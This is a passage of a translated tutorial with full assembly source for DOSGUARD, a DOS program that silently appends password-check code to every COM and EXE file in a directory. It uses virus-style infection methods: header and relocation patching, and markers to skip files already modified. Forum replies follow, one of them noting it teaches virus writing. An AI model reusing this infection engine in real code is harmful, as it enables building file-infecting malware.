-------------------------
如果我们要修改的文件尾部是与段落边界对齐的那么事情就会简单些.那样的话,我们加入的新代码的起始
ip值就会永远是0了.

  mov  cx, word ptr cs:[9Ch]   ;调整文件长度到段的
  mov  dx, word ptr cs:[9Ah]   ;边界
  or  dl, 0Fh
  add  dx, 1
  adc  cx, 0
  mov  cs:[9Ch], cx
  mov  cs:[9Ah], dx
  mov  ax, 4200h    ;文件指针移到文件尾部
  int  21h                     ;加上边界

EXE文件修改-步骤11
-------------------------
最后,我们终于可以将代码写入文件了.和在COM文件中一样,我们将代码写入文件尾部.不同的是在执行的
时候如何先执行到那里,COM文件中使用了一个跳转,EXE中我们调整起始的cs:ip值指向我们的代码.

  mov  cx, offset ENDGUARD2 - offset EXEGUARD  ;代码写入
  mov  dx, offset EXEGUARD                     ;exe文件尾部
  mov  ah, 40h
  int  21h

EXE文件修改-步骤12
-------------------------
我们的代码就巧妙的躲在了主程序代码的后面,现在就该修改EXE文件头部来适应首先执行我们的代码了.
还要修改EXE头部的size域,时期将我们加入的所有代码都考虑在内.

首先得算出起始各个段值应该是多少.起始cs值就是原文件大小除以16再减去头的大小.因为有第11步所以
ip的值是0.DOSGUARD这种情况,ss值与cs值相同,sp值指向我们的代码结束后256个字节处的地址.256个字节
的堆栈对于DOSGUARD已经不少了.

  mov  ax, word ptr cs:[9Ah]  ;计算模块CS
  mov  dx, word ptr cs:[9Ch]      ;ax:dx包含了原文件大小
  mov  cx, 16                  ;CS=文件大小/16-头大小
  div  cx
  sub  ax, word ptr [exehead+8];头大小
  mov  word ptr [exehead+22], ax ;ax是现在的初始cs
  mov  word ptr [exehead+14], ax ;ax是现在的初始ss
  mov  word ptr [exehead+20], 0  ;初始ip
  mov  word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;初始sp

下一部分代码计算新的文件的大小,当然,是以页计.

mov  dx, word ptr cs:[9Ch]  ;计算新的文件大小
  mov  ax, word ptr cs:[9Ah]
  add  ax, offset ENDGUARD2 - offset EXEGUARD + 200h
  adc  dx, 0
  mov  cx, 200h
  div  cx
  mov  word ptr [exehead+4], ax
  mov  word ptr [exehead+2], dx
  add  word ptr [exehead+6], 2

EXE文件修改-步骤13
-------------------------
下面我们就要完成头部的修改然后好将它写回文件.

;写出新的头部
  mov  cx, 1Ch      
  mov  dx, offset exehead
  mov  ah, 40h
  int  21h

EXE文件修改-步骤14
-------------------------
最后的但不是最不重要的我们得修改重定位指针表.首先,我们要移动指针到我们要添加新项目的地方.

  mov  ax, word ptr [exehead+6];得到重定位表的数目#
  dec  ax                      ;增加表的位置等于
  dec  ax                      ;(#-2)*4+表的偏移
  mov  cx, 4
  mul   cx
  add  ax, word ptr [exehead+24]
  adc  dx, 0
  mov  cx, dx
  mov  dx, ax
  mov  ax, 4200h               ;文件指针移至位置
  int  21h

现在我们必须在表中增加两个新指针.第一个指向"hosts",他是原来程序的堆栈段,第二个指向"hostc+2",它保
存着原来程序的代码段.

  ;将exe头作为重定位表的一个缓冲.
  ;将两个指针放入缓冲,第一个指向hosts的ss
  ;第二个指向hostc中的cs.
  mov  word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
  mov  ax, word ptr [exehead+22]
  mov  word ptr [exehead+2], ax
  mov  word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
  mov  word ptr [exehead+6], ax
  mov  cx, 8
  mov  dx, offset exehead
  mov  ah, 40h             ;写8个字节.
  int  21h
  mov  ah, 3Eh                 ;关闭文件.
  int  21h

插入代码要负的责任
---------------------------------
有几个问题在我们加入的代码中必须考虑.第一,代码结束后寄存器的状态等必须正好是原来程序所期望的
值.比如,ax被DOS置位来指示FCB中存储的Drive ID是否合法.所以ax的值必须由我们的程序保护起来.同样,
原程序有可能希望其他某些寄存器的值为0.当然,段寄存器的值也需要在我们的代码执行完后恢复.

为了将实际的控制权交还给主程序,我们的代码必须恢复ss和sp为原来时的值,然后就跳到原始的cs:ip.

另一个事项就是插入的代码对其数据引用不能依靠绝对地址.所以DOSGUARD通过其相对文件尾的偏移来

访问所有数据.

结论
----------
非常希望通过讲述我在开发DOSGUARD时使用的技术足够引导你编制出自己的二进制修改程序.正如我在

文前提到过的,DOSGUARD还很待进一步完善,如果有兴趣的话可以去我的主页下载ENCGUARD的源代码,
它是DOSGUARD的一个更安全的版本.扩展 DOSGUARD一个不错的方法就是提高ENCGUARD中使用的加
密技术.如果我有时间,我很愿意再写一个Win32版的DOSGUARD,它可以用来安全的修改PE格式的文件.如果
我真的开始这项工程的话,我肯定会让Assembly Programming Journal的读者知道的.

参考
----------
"The Giant Black Book of Computer Viruses, 2nd edition" by Mark Ludwig

联系信息
-------------------
email:  jjsimpso@eos.ncsu.edu
网页: http://www4.ncsu.edu/~jjsimpso/index.html

可以去我的主页查看更多的我关于代码修改的信息.当然,有什么想法,改正,提高等等,随时给我发信.
.model tiny
.code

  ORG  100h

START:
  jmp  BEGINCODE    ;跳过标识字符串
  DB  'CG'

BEGINCODE:

  mov  dx, offset filter1
  call  FIND_FILES
  mov  dx, offset filter2
  call  FIND_FILES

  mov  ax, 4C00h    ;DOS终止功能
  int  21h

;-------------------------------------------------------------------------
;查找然后修改文件的子程序
;-------------------------------------------------------------------------
FIND_FILES:

  mov  ah, 4Eh      ;搜索与指定后缀匹配的文件
  int  21h

SLOOP:
  jc  DONE
  mov  ax, 3D02h    ;以R/W方式打开文件
  mov  dx, 9Eh      ;文件名,存在了DTA中
  int  21h
  mov  bx, ax      ;文件句柄存入bx
  mov  ax, 3F00h    ;从文件中读取前5个字节
  mov  cx, 5
  mov  dx, offset obytes
  int  21h

  ;检验是否真正是个EXE文件
  cmp  word ptr[obytes], 'ZM'
  je   EXE

COM:
  ;检验,看文件是够已经被修改过了
  ;如果是,跳过
  cmp  word ptr [obytes + 3], 'GC'
  je  NO_INFECT

  ;确定文件不是太大
  mov  ax, ds:[009Ah]    ;文件大小
  add  ax, offset ENDGUARD - offset COMGUARD + 100h
  jc  NO_INFECT    ;如果ax溢出就不再修改

  ;如果到了这里,我们认为文件没有问题可以修改
  call  INFECT_COM
  jmp  NO_INFECT

EXE:
  ;读取EXE头部
  call   READ_HEADER
  jc  NO_INFECT    ;读取错误所以跳过

  ;确认文件没有被修改过
  ;如果 (初始CS*16)+9Fh+EXE文件头的大小(字节计)==文件大小
  ;那说明文件已经被修改过
  mov  ax, word ptr [exehead+22]
  mov  dx, 16
  mul  dx
  add  ax, offset ENDGUARD2 - offset EXEGUARD
  adc  dx, 0
  mov  cx, word ptr [exehead+8]
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  ax, cx
  adc  dx, 0
  cmp  ax, word ptr cs:[9Ah]
  jne  EXEOK
  cmp  dx, word ptr cs:[9Ch]
  je  NO_INFECT

EXEOK:
  ;确认Overlay Number是0
  cmp  word ptr [exehead+26], 0
  jnz  NO_INFECT

  ;确认这是一个DOS EXE文件(而非windows或OS/2文件)
  cmp  word ptr [exehead+24], 40h
  jae  NO_INFECT

  call   INFECT_EXE

NO_INFECT:
  mov  ax, 4F00h    ;查找下一个文件
  int  21h
  jmp  SLOOP

DONE:

  ret

;-------------------------------------------------------------------------
;修改COM文件的子程序
;-------------------------------------------------------------------------
INFECT_COM:
  xor  cx, cx                  ;cx = 0
  xor   dx, dx      ;dx = 0
  mov  ax, 4202h    ;文件指针指向文件尾部
  int  21h

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

  mov  ax, 4200h    ;指针移至文件头部
  xor  cx, cx      ; 以写入跳转
  xor   dx, dx
  int  21h

  ;准备好将要写入文件头部的跳转指令
  xor  ax, ax
  mov  byte ptr [bytes], 0E9h  ; jmp的操作码
  mov  ax, ds:[009Ah]    ;文件大小
  sub  ax, 3      ;跳转指令的大小
  mov  word ptr [bytes + 1], ax;跳转的大小

  ;写入跳转
  mov  cx, 5;      ;要写入的大小
  mov  dx, offset bytes
  mov  ax, 4000h
  int  21h

  mov  ah, 3Eh      ;关闭文件
  int  21h

  ret

;-------------------------------------------------------------------------
;修改EXE文件的子程序
;-------------------------------------------------------------------------
INFECT_EXE:

  ;检查重定位指针表看是否还有空间
  ;如果没有空间我们就得自己制造些空间.
  mov  ax, word ptr [exehead+8];头大小(一段计)
  add  ax, ax                  ;
  add  ax, ax                  ;转化为双字.
  sub  ax, word ptr [exehead+6];减去双字大小的各个项目总和数
  add  ax, ax                  ;然后
  add  ax, ax                  ;将最后结果转化为字节数.
  sub  ax, word ptr [exehead+24];如果减去重定位表的偏移地之后
  cmp  ax, 8                    ;仍有8字节剩余
  jc  NOROOM                   ;那说明还有空间.
  jmp  HAVEROOM

NOROOM:
  ;从定位表中没有空间所以我们要向表中
  ;增加一段.因此,我们必须读入重定位表后的整个文件
  ;并将它们写回内存中向下偏移一个段大小的地方.
  xor  cx, cx                  ;将文件指针指向
  mov  dx, word ptr [exehead+24]  ;重定位表尾部.
  mov  ax, word ptr [exehead+6];以双字计的重定位表大小
  add  ax, ax                  ;* 4得到字节数
  add  ax, ax
  add  dx, ax                  ;将结果加入表起始处
  push  dx
  mov  ax, 4200h
  int  21h

  pop     dx
  call  CALC_SIZE
  cmp  cx, 1
  je  LASTPAGE

  mov  dx, offset buffer
  call  READ_PAGE
  mov  dx, offset para
  call  READ_PARA
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  je  LASTPAGE

MOVELOOP:
  mov  dx, offset buffer + 16
  call  READ_PAGE
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  jne  MOVELOOP

LASTPAGE:
  sub  word ptr [lps], 16
  mov  cx, word ptr [lps]
  mov  dx, offset buffer + 16
  mov  ah, 3Fh
  int  21h
  push   cx
  mov  dx, cx
  neg  dx
  mov  cx, -1
  mov  ax, 4201h
  int  21h
  pop  cx
  add  cx, 16
  mov  dx, offset buffer
  mov  ah, 40h
  int  21h

  ;因为以后要用,必须调整文件大小
  add  word ptr cs:[9Ah], 16
  adc  word ptr cs:[9Ch], 0

  ;EXE头内部的头部大小值增1
  add  word ptr cs:[exehead+8], 1

  ;改变EXE头中Page Count和Last Page大小
  cmp  word ptr [exehead+2], 496
  jae  ADDPAGE
  add  word ptr [exehead+2], 16
  jmp  HAVEROOM

ADDPAGE:
  ;如果16个多于字节越到了新的一页,
  ;就调整头部增加一页.
  inc  word ptr [exehead+4]
  mov  ax, 512
  sub  ax, word ptr [exehead+2]
  mov  dx, 16
  sub  dx, ax
  mov  word ptr [exehead+2], dx

HAVEROOM:
  mov  ax, word ptr [exehead+14] ;保存原堆栈段
  mov  [hosts], ax
  mov  ax, word ptr [exehead+16] ;保存原堆栈指针
  mov  [hosts+2], ax
  mov  ax, word ptr [exehead+20] ;保存原ip
  mov  [hostc], ax
  mov  ax, word ptr [exehead+22] ;保存原cs
  mov  [hostc+2], ax

  mov  cx, word ptr cs:[9Ch]   ;调整文件长度到段的
  mov  dx, word ptr cs:[9Ah]   ;边界
  or  dl, 0Fh
  add  dx, 1
  adc  cx, 0
  mov  cs:[9Ch], cx
  mov  cs:[9Ah], dx
  mov  ax, 4200h    ;文件指针移到文件尾部
  int  21h                     ;加上边界

  mov  cx, offset ENDGUARD2 - offset EXEGUARD  ;代码写入
  mov  dx, offset EXEGUARD                     ;exe文件尾部
  mov  ah, 40h
  int  21h

  xor  cx, cx      ;指针移至文件头部
  xor  dx, dx
  mov  ax, 4200h
  int  21h

  ;调整EXE头部然后写回
  mov  ax, word ptr cs:[9Ah]  ;计算模块CS
  mov  dx, word ptr cs:[9Ch]      ;ax:dx包含了原文件大小
  mov  cx, 16                  ;CS=文件大小/16-头大小
  div  cx
  sub  ax, word ptr [exehead+8];头大小
  mov  word ptr [exehead+22], ax ;ax是现在的初始cs
  mov  word ptr [exehead+14], ax ;ax是现在的初始ss
  mov  word ptr [exehead+20], 0  ;初始ip
  mov  word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;初始sp

  mov  dx, word ptr cs:[9Ch]  ;计算新的文件大小
  mov  ax, word ptr cs:[9Ah]
  add  ax, offset ENDGUARD2 - offset EXEGUARD + 200h
  adc  dx, 0
  mov  cx, 200h
  div  cx
  mov  word ptr [exehead+4], ax
  mov  word ptr [exehead+2], dx
  add  word ptr [exehead+6], 2

  mov  cx, 1Ch      ;写入新的头部
  mov  dx, offset exehead
  mov  ah, 40h
  int  21h

  ;修改重定位表
  mov  ax, word ptr [exehead+6];得到重定位表的数目#
  dec  ax                      ;增加表的位置等于
  dec  ax                      ;(#-2)*4+表的偏移
  mov  cx, 4
  mul   cx
  add  ax, word ptr [exehead+24]
  adc  dx, 0
  mov  cx, dx
  mov  dx, ax
  mov  ax, 4200h               ;文件指针移至位置
  int  21h

  ;将exe头作为重定位表的一个缓冲.
  ;将两个指针放入缓冲,第一个指向hosts的ss
  ;第二个指向hostc中的cs.
  mov  word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
  mov  ax, word ptr [exehead+22]
  mov  word ptr [exehead+2], ax
  mov  word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
  mov  word ptr [exehead+6], ax
  mov  cx, 8
  mov  dx, offset exehead
  mov  ah, 40h             ;写8个字节.
  int  21h
  mov  ah, 3Eh                 ;关闭文件.
  int  21h

  ret                             ;完成!

;-------------------------------------------------------------------------
;计算需要写入的大小的子过程
;-------------------------------------------------------------------------
CALC_SIZE:
  ;dx中存有我们要读取的文件中的开始位置.
  ;这样,要读入的和写回的大小就等于文件大小
  ;减去dx.

  mov  cx, word ptr [exehead+2]
  mov  word ptr [lps], cx     ;拷贝Last Page Size到lps
  mov  cx, word ptr [exehead+4];拷贝Num Pages到cx

  cmp  dx, word ptr [lps]      ;如果要减去的字节数比
  jbe  FINDLPS                 ;lps小就让两者相减然后退出
  mov  ax, dx
  xor  dx, dx
  mov  cx, 512
  div  cx      ;ax=要减去的页
  mov  cx, word ptr [exehead+4];dx=要从lps减去的余数
  sub  cx, ax
  cmp  dx, word ptr [lps]
  jbe  FINDLPS
  sub  cx, 1
  mov  ax, dx
  sub  ax, word ptr [lps]
  mov  dx, 512
  sub  dx, ax

FINDLPS:
  sub  word ptr [lps], dx      ;减去其实位置而保持
          ;Num Pages不变

  ret

;-------------------------------------------------------------------------
;读取EXE头部的子过程
;-------------------------------------------------------------------------
READ_HEADER:
  xor  cx, cx                  ;将文件指针移回到
  xor  dx, dx                  ;文件开始
  mov  ax, 4200h
  int   21h
  mov  cx, 1Ch      ;读取文件头(28字节)
  mov  dx, offset exehead  ;到内存
  mov  ah, 3Fh
  int  21h

  ret        ;cf设置恰当后返回

;-------------------------------------------------------------------------
;读取一页的子过程
;-------------------------------------------------------------------------
READ_PAGE:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 512
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;读取一段的子过程
;-------------------------------------------------------------------------
READ_PARA:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 16
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一页的子过程
;-------------------------------------------------------------------------
WRITE_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 512
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一段的子过程
;-------------------------------------------------------------------------
WRITE_PARA:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 16
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一页的子过程
;-------------------------------------------------------------------------
DECFP_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -512
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一段的子过程
;-------------------------------------------------------------------------
DEC_PARA:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -16
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将段缓存移到前面的子过程
;-------------------------------------------------------------------------
MOVE_PARA:
  push   cx

  mov  si, offset para
  mov  di, offset buffer
  mov  cx, 16
  rep  movsb

  pop  cx

  ret

;-------------------------------------------------------------------------
;要加入到COM文件中的代码
;-------------------------------------------------------------------------
COMGUARD:
  call  GET_START

GET_START:
  pop  bp
  sub  bp, offset GET_START

  mov  ah, 9h       ;DOS现实字符串功能
  lea  dx, [bp + prompt]       ;显示密码提示
  int  21h
  lea  di, [bp + guess]
  xor  cx, cx

READLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  CHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  READLOOP

CHECKPASS:
  lea  di, [bp + guess]  ;准备验证密码循环
  lea  si, [bp +passwd]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

CHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  FAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  CHECKLOOP               ;循环至前8个字符读完

SUCCESS:
  mov  cx, 5
  cld
  lea  si, [bp + obytes]
  mov  di, 100h
  rep  movsb
  push  100h      ;由跳转返回去执行
  ret                             ;主程序

FAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp + badpass]      ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

prompt  DB  'password: ','$'
badpass  DB  'Invalid password!','$'
passwd  DB   'smcrocks'
guess  DB  10 dup (0)
obytes  DB  0,0,0,0,0

ENDGUARD:

;-------------------------------------------------------------------------
;要加入到EXE文件中的代码
;-------------------------------------------------------------------------
EXEGUARD:
  push  ax      ;将ax的开始值保存
  push   ds      ;保存ds的值
  mov  ax, cs                  ;将cs放入ds和es
  mov  ds, ax
  mov  es, ax
  mov  bp, offset ENDGUARD2 - offset EXEGUARD
  mov  ax, [bp-4]

  mov  ah, 9h       ;DOS显示字符串功能
  lea  dx, [bp-57]    ;显示密码提示
  int  21h
  lea  di, [bp-20]
  xor  cx, cx

EREADLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  ECHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  EREADLOOP

ECHECKPASS:
  lea  di, [bp-20]       ;准备验证密码循环
  lea  si, [bp-28]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

ECHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  EFAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  ECHECKLOOP              ;循环至前8个字符读完

ESUCCESS:
  pop  ds
  mov  ax, ds
  mov  es, ax
  pop  ax

  cli
  mov  ss, word ptr cs:[bp-10]
  mov  sp, word ptr cs:[bp-8]
  sti

         xor  cx, cx
  xor  dx, dx
  xor  bp, bp
  xor  si, si
  xor  di, di
  lahf
  xor   ah, ah
  sahf

  jmp  dword ptr cs:[ENDGUARD2-EXEGUARD-6]

EFAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp-46]    ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

eprompt  DB  'password: ','$'
ebadpass DB  'Invalid password!','$'
epasswd  DB   'smcrocks'
eguess  DB  10 dup (0)
hosts  DW  0, 0
hostc  DW  0, 0
delta  DW  0

ENDGUARD2:

filter1  DB  '*.com',0
filter2 DB      '*.exe',0
bytes  DB  0,0,0,'CG'
exehead DB  28 dup (0)
buffer  DB  512 dup (0)
para  DB  16 dup (0)
lps  DW  0

END START

---------------------------END DOSGUARD.ASM------------------------------------

[结束]

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (6)
baby2008 28 2005-5-24 23:18
2
0
佩服!!顶
linhanshi 2005-5-24 23:40
3
0
Lenus 3 2005-5-27 17:24
4
0
oh my god...
qiweixue 19 2005-5-27 19:10
5
0
衰..唉...
role 2005-5-28 01:06
6
0
强烈建议楼主出个修正版,
这东西可教会我如何写病毒了
^-^ ^-^ ^-^
北极星2003 25 2005-6-13 22:32
7
0
看懂英语四级差不多了,翻译嘛估计就要7,8级了
顶顶..
游客
登录 | 注册 方可回帖
返回